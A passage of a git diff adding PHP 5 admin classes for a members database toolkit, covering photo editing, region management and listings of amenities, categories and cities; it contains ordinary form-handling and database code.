+     * Long description (if any) ...
+     * 
+     * @param unknown $is     Parameter description (if any) ...
+     * @param unknown $oldImg Parameter description (if any) ...
+     *
+     * @return void   
+     * @access public 
+     */
+    function removeOldImage(Toolkit_Image_Server $is, $oldImg)
+    {
+        $this->deleteImage($is, $oldImg);
+        if ($this->elementExists('curr_image_rmv')) {
+            $e =& $this->getElement('curr_image_rmv');
+            $e->setValue(null);
+            $this->_submitValues['curr_image_rmv'] = null;
+        }
+    }
+
+    //  }}}
+    //  {{{ syncCurrImage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+    protected function syncCurrImage()
+    {
+        $is = new Toolkit_Image_Server();
+
+        $delImg = $this->getSubmitValue('remove_img_rmv');
+        $oldImg = $this->getSubmitValue('curr_image_rmv');
+        $newImg = $this->getSubmitValue('image');
+
+        if ($delImg && $oldImg) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        } elseif ($oldImg && $this->validNewImg($newImg)) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        }
+
+        if ($this->validNewImg($newImg)) {
+            $image = $this->uploadImage($is, 'image');
+        } else {
+            $image = $oldImg;
+        }
+
+        if ($image) {
+            $this->updatePhotoElements($is, $image);
+            $this->showCurrImg = true;
+        }
+    }
+
+    //  }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+     * @param HTML_Template_Flexy $tEngine Templating Engine
+     *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml(HTML_Template_Flexy $tEngine)
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+        //  If they have submitted the form and uploaded a proper image
+        //  but some other element had an error, then we need to show
+        //  their uploaded image in the form
+        if ($this->isSubmitted()) {
+            $this->syncCurrImage();
+        }
+
+               $this->setupRenderers($tEngine);
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+               }
+
+               return $tEngine->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{     removePackage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $id Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+       protected function removePackage($id)
+       {
+               try {
+            //  need to delete the image associated w/ this package here.
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Update the package caption
+     * 
+     * @param array $values Submitted form values
+        *
+     * @return boolean Result of updating the caption in the db
+     * @access public 
+     */
+       protected function updateData($values)
+       {
+        try {
+            if (array_key_exists('remove_rmv', $values)) {
+                return $this->removePackage($this->packageId);
+            }
+            $sql = Toolkit_Common::createSQLUpdate(
+                $this->tableName,
+                array_keys($values),
+                array('id = :id')
+            );
+
+            $values['id'] = $this->packageId;
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+    //  {{{ updatePhotoElements()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $is    Parameter description (if any) ...
+     * @param string $image Parameter description (if any) ...
+     *
+     * @return void  
+     * @access public
+     */
+    public function updatePhotoElements(Toolkit_Image_Server $is, $image)
+    {
+        //  Get the dimensions of the image
+        $dimensions = $is->getImageSize(MEMBER_PHOTOS . $image);
+        if (PEAR::isError($dimensions)) {
+            Toolkit_Common::handleError($dimensions);
+        }
+        list($w, $h) = $dimensions;
+        $s = MEMBER_PHOTOS . $image;
+
+        //  Set the image to show in the element
+        $e =& $this->getElement('curr_image');
+        $e->setText('<img width="'.$w.'" height="'.$h.'" src="'.$s.'">');
+
+        //  updated the hidden elements value to make sure it
+        //  holds the most up-to-date image name
+        $e =& $this->getElement('curr_image_rmv');
+        $e->setValue($image);
+    }
+
+    //  }}}
+    //  {{{ uploadImage()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object  $is    Parameter description (if any) ...
+     * @param unknown $field Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function uploadImage(Toolkit_Image_Server $is, $field)
+    {
+        return $is->imageUpload($field);
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditPhoto.php b/Toolkit/Members/Admin/EditPhoto.php
new file mode 100644 (file)
index 0000000..869c910
--- /dev/null
@@ -0,0 +1,377 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles the photos tab in the member record
+ * 
+ * Controls setting up the add photo form if applicable, and rendering
+ * each uploaded photo edit form to edit/delete the photo.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditPhoto.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit/Image/Server.php
+ */
+
+
+/**
+ * The image server processing class
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Form to handle editing/deleting existing photos in members only area
+ * 
+ * Handles updating caption requests for a member or to remove a
+ * photo from thier profile
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_EditPhoto extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_photos';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editPhoto.tpl';
+
+    /**
+     * Id of photo in db
+     * @var integer
+     * @access protected
+     */
+       protected $photoId;
+
+    /**
+     * Success message when a photo gets successfully updated
+     * @var string
+     * @access protected
+     */
+    protected $successMsg = '
+        <div id="form-success-top">
+            You successfully updated your photo.
+        </div>';
+
+    /**
+     * Any rules we want to register for this form
+     * @var array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+       
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param PDO                    $pdo         PHP Data Object 
+     * @param Toolkit_Members_Photos $ll          Linked List of member photos
+        * @param string                 $formName    Form's name.
+        * @param string                 $method      (optional) Form's method
+        * @param string                 $action      (optional) Form's action.
+        * @param string                 $target      (optional) Form's target
+        * @param mixed                  $attributes  (optional) Extra attributes
+        * @param bool                   $trackSubmit (optional) Whether to track
+     *                                            if the form was submitted by
+        *                                                                                    adding a special hidden field.
+        *
+        * @access public
+        * @see    Toolkit_Members_Admin_EditPhotos
+        */
+       public function __construct(
+        PDO $pdo,
+        Toolkit_Members_Photos $ll,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+       
+        $this->dbh     = $pdo;
+               $this->photoId = $attributes['id'];
+        $this->photos  = $ll;
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               $photo    = $this->photos->findNode($this->photoId);
+               $defaults = array(
+                       'caption' => $photo->getCaption(),
+                       'pos'     => $photo->getPosition(),
+                       'pid'     => $photo->getId(),
+               );
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+     * @param Config_Container $c application configuration
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements(Config_Container $c)
+       {
+               $positions = range(1, $this->photos->getListSize(true));
+               $options   = array_combine($positions, $positions);
+
+        $config =& $c->getItem('section', 'photos');
+        $maxLength =& $config->getItem('directive', 'maxCaptionLength');
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $cur = $this->photos->findNode($this->photoId);
+               
+               $elements[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'pid'
+               );
+               $elements[] = array(
+                       'type' => 'text',
+                       'req'  => false,
+                       'name' => 'caption',
+            'display' => 'Image Caption',
+                       'opts' => array(
+                               'class'     => 'text',
+                               'maxlength' => $maxLength->getContent(),
+                       ),
+            'noCharLimit' => true
+               );
+               $elements[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'pos',
+                       'display' => 'Position',
+                       'opts'    => $options,
+                       'att'     => array('id' => "pos{$cur->getPosition()}")
+               );
+               $elements[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'update',
+                       'display' => 'Update Photo',
+                       'opts'    => array('class' => 'submit')
+               );
+               $elements[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'delete',
+                       'display' => 'Delete Photo',
+                       'opts'    => array('class' => 'photoDelete')
+               );
+
+               $this->setupElements($elements);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+        * helper function to set up entire form definition
+        *
+     * @param Config_Container $c application configuration
+        *
+        * @return void
+        * @access public
+     */
+    public function configureForm(Config_Container $c)
+    {
+        $this->configureElements($c);
+        $this->configureDefaults();
+               $this->configureRules($c);
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Configures any rules we want to use on the form
+        *
+     * @param Config_Container $c application configuration
+     * 
+     * @access public
+     * @return void  
+     */
+       public function configureRules(Config_Container $c)
+       {
+               $r = array();
+
+        $config =& $c->getItem('section', 'photos');
+        $maxLength =& $config->getItem('directive', 'maxCaptionLength');
+
+               $r[] = array(
+                       'element'    => 'caption',
+                       'message'    => "ERROR: Please limit caption to {$maxLength->getContent()} characters!",
+                       'type'       => 'maxlength',
+                       'format'     => $maxLength->getContent(),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values submitted values from the form
+        *
+        * @return array Submitted values from the form.
+        * @access protected
+        */
+       protected function processData($values)
+       {
+               if (!$this->getSubmitValue('delete')) {
+            unset($values['update']);
+            $photo = $this->photos->findNode($values['pid']);
+            try {
+                //     This value might be removed by JS so make sure
+                //     its in place before you try to update the positions
+                //
+                //     This is taken out in JS instead of just hiding it
+                //     b/c if the image gets dragged and repositioned,
+                //     and then the caption is updated, the old positions
+                //     in the hidden select list will override all the
+                //     newly positioned photos.
+                //     This value might be removed by JS so make sure
+                //     its in place before you try to update the positions
+                $this->dbh->beginTransaction();
+                if (isset($values['pos']) && $values['pos'] != $photo->getPosition()) {
+                    $this->photos->moveNode($photo->getId(), $values['pos']);
+                }
+                $curCaption = $photo->getCaption();
+                if ($curCaption != $values['caption']) {
+                    $photo->setCaption($values['caption']);
+                }
+                return $this->dbh->commit();
+            } catch (PDOException $e) {
+                $this->dbh->rollback();
+                return Toolkit_Common::handleError($e);
+            }
+               }
+
+        header('Location:' . $this->getAttribute('action'));
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Set up the rendering engine we are going to use to display this form
+     * 
+     * @param HTML_Template_Flexy $tEngine Templating Engine
+     *
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers(HTML_Template_Flexy $tEngine)
+       {
+               $renderer =& new HTML_QuickForm_Renderer_ObjectFlexy($tEngine);
+
+               $this->accept($renderer);
+               $this->view          = new stdClass();
+               $this->view->photoId = $this->photoId;
+               $this->view->form    = $renderer->toObject();
+               $photo               = $this->photos->findNode($this->photoId);
+               $this->view->pending = $photo->getPending();
+               $this->view->img_alt = $photo->getCaption();
+               $this->view->img_src = MEMBER_PHOTOS . $photo->getImage();
+               $tEngine->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+     * @param HTML_Template_Flexy  $tEngine Templating Engine
+     * @param Cache_Lite           $cache   Caching Engine
+     * @param Toolkit_Image_Server $is      Image Server
+     * @param Config_Container     $c       Application configuration
+     *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml(
+        HTML_Template_Flexy $tEngine,
+        Cache_Lite $cache,
+        Toolkit_Image_Server $is,
+        Config_Container $c
+    ) {
+               if ($this->validate()) {
+            $res = $cache->remove("Member-{$_GET['id']}", 'Profile');
+
+            if ($this->getSubmitValue('delete')) {
+                $this->photos->removeNode($is, $c, $this->getSubmitValue('pid'));
+            }
+
+                       $this->process(array(&$this, 'processData'), $this->mergeFiles);
+               }
+
+               $this->setupRenderers($tEngine);
+
+               return $tEngine->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditRegion.php b/Toolkit/Members/Admin/EditRegion.php
new file mode 100644 (file)
index 0000000..76d4171
--- /dev/null
@@ -0,0 +1,345 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Edit member regions
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditRegion.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Edit Member Regions
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_EditRegion
+    extends Toolkit_Members_Auxiliary implements Toolkit_Form
+{
+       //      {{{ properties
+
+    /**
+     * Description for public
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'region';
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $formTemplate = 'editRegion.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{ checkRegionName()
+
+    /**
+     * Check that the region name is not in use already
+     * 
+     * @param string $name name to check
+     *
+     * @return boolean if the name is valid or not
+     * @access public 
+     */
+       public function checkRegionName($name)
+       {
+               try {
+                       //      If we're editing a region, they
+                       //      can save that region as its
+                       //      own name. so don't include that region
+                       //      in the check.
+                       if (isset($_GET['id'])) {
+                               $and = "AND region_id != :rid";
+                       }
+                       $sql = "
+                               SELECT COUNT(*) AS total
+                                 FROM {$this->tableName}
+                                WHERE region_name = :name
+                                 $and";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $name, PDO::PARAM_STR);
+                       if (isset($_GET['id'])) {
+                               $stmt->bindParam(':rid', $_GET['id'], PDO::PARAM_STR);
+                       }
+                       $stmt->execute();
+            $stmt->bindColumn('total', $total);
+                       $stmt->fetch();
+
+                       return !(bool) $total;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+    /**
+     * Set up the default values for the form
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        $d = array();
+
+               if (isset($_GET['id'])) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM region
+                                        WHERE region_id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':cid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $region = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $d = array(
+                                       'region_name'   => $region['region_name'],
+                               );
+                       } catch (PDOException $e) {
+                Toolkit_Common::handleError($e);
+                       }
+               }
+
+               $this->setupDefaults($d);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureElements()
+       {
+        $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'regionInfoHdr',
+            'display' => 'Member Regions'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'region_name',
+            'display' => 'Region Name'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper function to configure an entire form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+
+               $r[] = array(
+            'element' => 'region_name',
+            'message' => 'ERROR: Region already exists!',
+            'type' => 'callback',
+            'format' => array($this, 'checkRegionName'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ deleteRegion()
+
+    /**
+     * Remove a region from the db
+     * 
+     * @param integer $id region id
+     *
+     * @return boolean result of db query
+     * @access protected
+     */
+       protected function deleteRegion($id)
+       {
+        if (!is_numeric($id)) {
+            return false;
+        }
+               try {
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE region_id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new region
+     * 
+     * @param array $values Submitted form values
+     *
+     * @return boolean Result of insertion into DB
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName,
+            array_keys($values)
+        );
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form for viewing
+        *
+        * This function validates the form if needed, and if it successfully
+        * validates attempts to insert or update the data record.
+        * If it is unsuccessful, it will return an error to the user
+        * informing them of what went wrong.
+        *
+        * @return string The compiled and filled form template.
+        * @access public
+        */
+       public function toHtml()
+       {
+               $listPage = BASE_URL . 'admin/members.php?cat=5&subCat=1';
+               return parent::toHtml($listPage);
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Update the data for a region
+     * 
+     * @param array $values submitted form results
+     *
+     * @return boolean result of sql update query
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+               //      We aren't updating a region, we're deleting it.
+               if (array_key_exists('delete', $values)) {
+                       return $this->deleteRegion($_GET['id']);
+               }
+
+        $sql = Toolkit_Common::createSQLUpdate(
+            $this->tableName,
+            array_keys($values),
+            array('region_id = :id')
+        );
+        
+        $values['id'] = $_GET['id'];
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListAmenities.php b/Toolkit/Members/Admin/ListAmenities.php
new file mode 100644 (file)
index 0000000..c781900
--- /dev/null
@@ -0,0 +1,133 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * List the amenities available for members
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: ListAmenities.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the amenities available for members
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_ListAmenities
+{
+       //      {{{ properties
+
+       /**
+        * Database Handler
+        *
+        * @var object
+        * @access protected
+        */
+       protected $dbh;
+       
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'amenity';
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access private
+        */
+       private $_template = 'listAmenities.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+     *
+     * @param PDO $pdo PHP Data Object
+        *
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ _getAmenities()
+
+    /**
+     * Get the amenities
+     * 
+     * @return array regions stored in the db
+     * @access private
+     */
+       private function _getAmenities()
+       {
+               try {
+                       $amenities = array();
+                       $sql = "
+                               SELECT *
+                                 FROM {$this->tableName}
+                                ORDER BY amenity_name";
+
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $amenities[$row['amenity_id']] = $row['amenity_name'];
+                       }
+
+                       return $amenities;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ renderAmenities()
+
+    /**
+     * Render the output
+     * 
+     * @return html page
+     * @access public
+     */
+       public function renderAmenities()
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+               $page->amenities = $this->_getAmenities();
+
+               $template->compile($this->_template);
+               return $template->bufferedOutputObject($page);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListCategories.php b/Toolkit/Members/Admin/ListCategories.php
new file mode 100644 (file)
index 0000000..5b1bb2e
--- /dev/null
@@ -0,0 +1,230 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * List the categories available for members
+ *
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: ListCategories.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the categories available for members
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_ListCategories
+{
+       //      {{{ properties
+
+       /**
+        * Database Handler
+        *
+        * @var object
+        * @access public
+        */
+       public $dbh;
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'category';
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access private
+        */
+       private $_template = 'listCategories.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+     *
+     * @param PDO $pdo PHP Data Object
+        *
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ _getCategoryList()
+
+    /**
+     * Gets a list of all the available categories
+     * 
+     * @return string  html list of categories
+     * @access private
+     */
+       private function _getCategoryList()
+       {
+               $tree = Toolkit_Common::gethierarchicalTreeStructure(
+            'category',
+            'category_id',
+            'parent_id',
+            'name'
+        );
+
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM {$this->tableName}
+                                WHERE category_id = :catid";
+
+                       $stmt = $this->dbh->prepare($sql);
+
+                       reset($tree);
+                       $prevLevel = 1;
+                       while (list($catid, $level) = each($tree)) {
+                               $stmt->bindParam(':catid', $catid, PDO::PARAM_INT);
+                               $stmt->execute();
+                               $row = $stmt->fetch();
+
+                               if ($level == $prevLevel) {
+                                       $list .= $this->_createNode($row, $list);
+                               } elseif ($level > $prevLevel) {
+                                       $list .= $this->_createNewLvlNode($row);
+                               } elseif ($level < $prevLevel) {
+                                       $list .= $this->_createLastLvlNode($row);
+                               }
+
+                               $prevLevel = $level;
+                       }
+
+                       return "<ul>$list</ul>";
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     _createNode()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array   $cat  Parameter description (if any) ...
+     * @param unknown $list Parameter description (if any) ...
+     *
+     * @return string  Return description (if any) ...
+     * @access private
+     */
+       private function _createNode(array $cat, $list)
+       {
+               //      check for closing node.
+               if (strlen($list) > 0) {
+                       if (substr_compare($list, '</a>', -5, 4) == 0) {
+                               $node = "</li>\n";
+                       }
+               }
+               $url = BASE_URL . "admin/members.php?cat=3&subCat=2&id={$cat['category_id']}";
+               $node .= "<li id=\"predef_{$cat['category_id']}\">\n";
+               $node .= "<a href=\"$url\">{$cat['name']}</a>\n";
+
+               return $node;
+       }
+
+       //      }}}
+       //      {{{     _createNextLvlNode()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $cat Parameter description (if any) ...
+     *
+     * @return string  Return description (if any) ...
+     * @access private
+     */
+       private function _createNewLvlNode(array $cat)
+       {
+               $node  = "<ul>\n";
+               $node .= $this->_createNode($cat, $node);
+
+               return $node;
+       }
+
+       //      }}}
+       //      {{{     _createLastLvlNode()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $cat Parameter description (if any) ...
+     *
+     * @return string  Return description (if any) ...
+     * @access private
+     */
+       private function _createLastLvlNode(array $cat)
+       {
+               $node  = "</li>\n</ul>\n</li>\n";
+               $node .= $this->_createNode($cat, $node);
+
+               return $node;
+       }
+
+       //      }}}
+       //      {{{ renderCategories()
+
+    /**
+     * Render the output
+     * 
+     * @return html page
+     * @access public
+     */
+       public function renderCategories()
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+               $page->baseUrl = BASE_URL;
+               $page->tree = $this->_getCategoryList();
+
+               $template->compile($this->_template);
+               return $template->bufferedOutputObject($page);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListCities.php b/Toolkit/Members/Admin/ListCities.php
new file mode 100644 (file)
index 0000000..53f2114
--- /dev/null
@@ -0,0 +1,136 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * List the cities available for members
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: ListCities.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the cities available for members
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
